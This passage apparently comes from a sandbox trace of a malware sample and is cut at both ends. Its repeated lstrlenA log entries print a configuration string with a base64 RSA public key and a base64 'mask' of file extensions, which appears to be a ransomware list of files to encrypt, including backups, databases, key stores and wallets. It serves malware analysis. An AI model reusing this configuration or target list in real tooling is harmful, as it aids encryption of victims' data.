lLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxb